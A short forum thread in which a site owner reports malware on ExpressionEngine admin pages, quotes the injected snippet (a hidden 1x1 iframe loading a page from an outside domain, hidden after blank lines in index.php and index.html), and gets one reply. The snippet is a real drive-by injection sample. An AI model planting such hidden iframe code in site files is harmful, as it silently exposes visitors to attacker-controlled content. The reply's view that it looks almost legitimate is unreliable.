Admin pages compromised (hacked?)

    Version: EE 1.7
    I have a site where there is evidence of malware, but only in the bottom of the admin pages. The public side seems ok.

    If I view source on the login or orther admin pages, I find 2 incidences of <!—counter—> comments. The second gets the page flagged for malware:

    <!-- counter -->[removed]status=location;[removed]('<iframe src="http://advancedwebanalytic.com/stats/fnktcnfza3.php" width="1" height="1" frameborder="0"></iframe>');[removed]<!-- counter -->

    I’m not even sure where to look for the source of this code. In the database? I’ve looked through the templates, and find nothing. That’s not surprising to me as the offending code doesn’t appear on the public pages.

    Help.

    Never mind—I found the offending code(s) at the end of many, may blank lines in both index.html and index.php…

    I am still wondering how someone could break in and put the code there—but, for today, it is gone.

    Are you sure the code wasn’t put in there by you or anybody else working on the site? I’ve seen malware injections, but this looks almost legitimate to me.
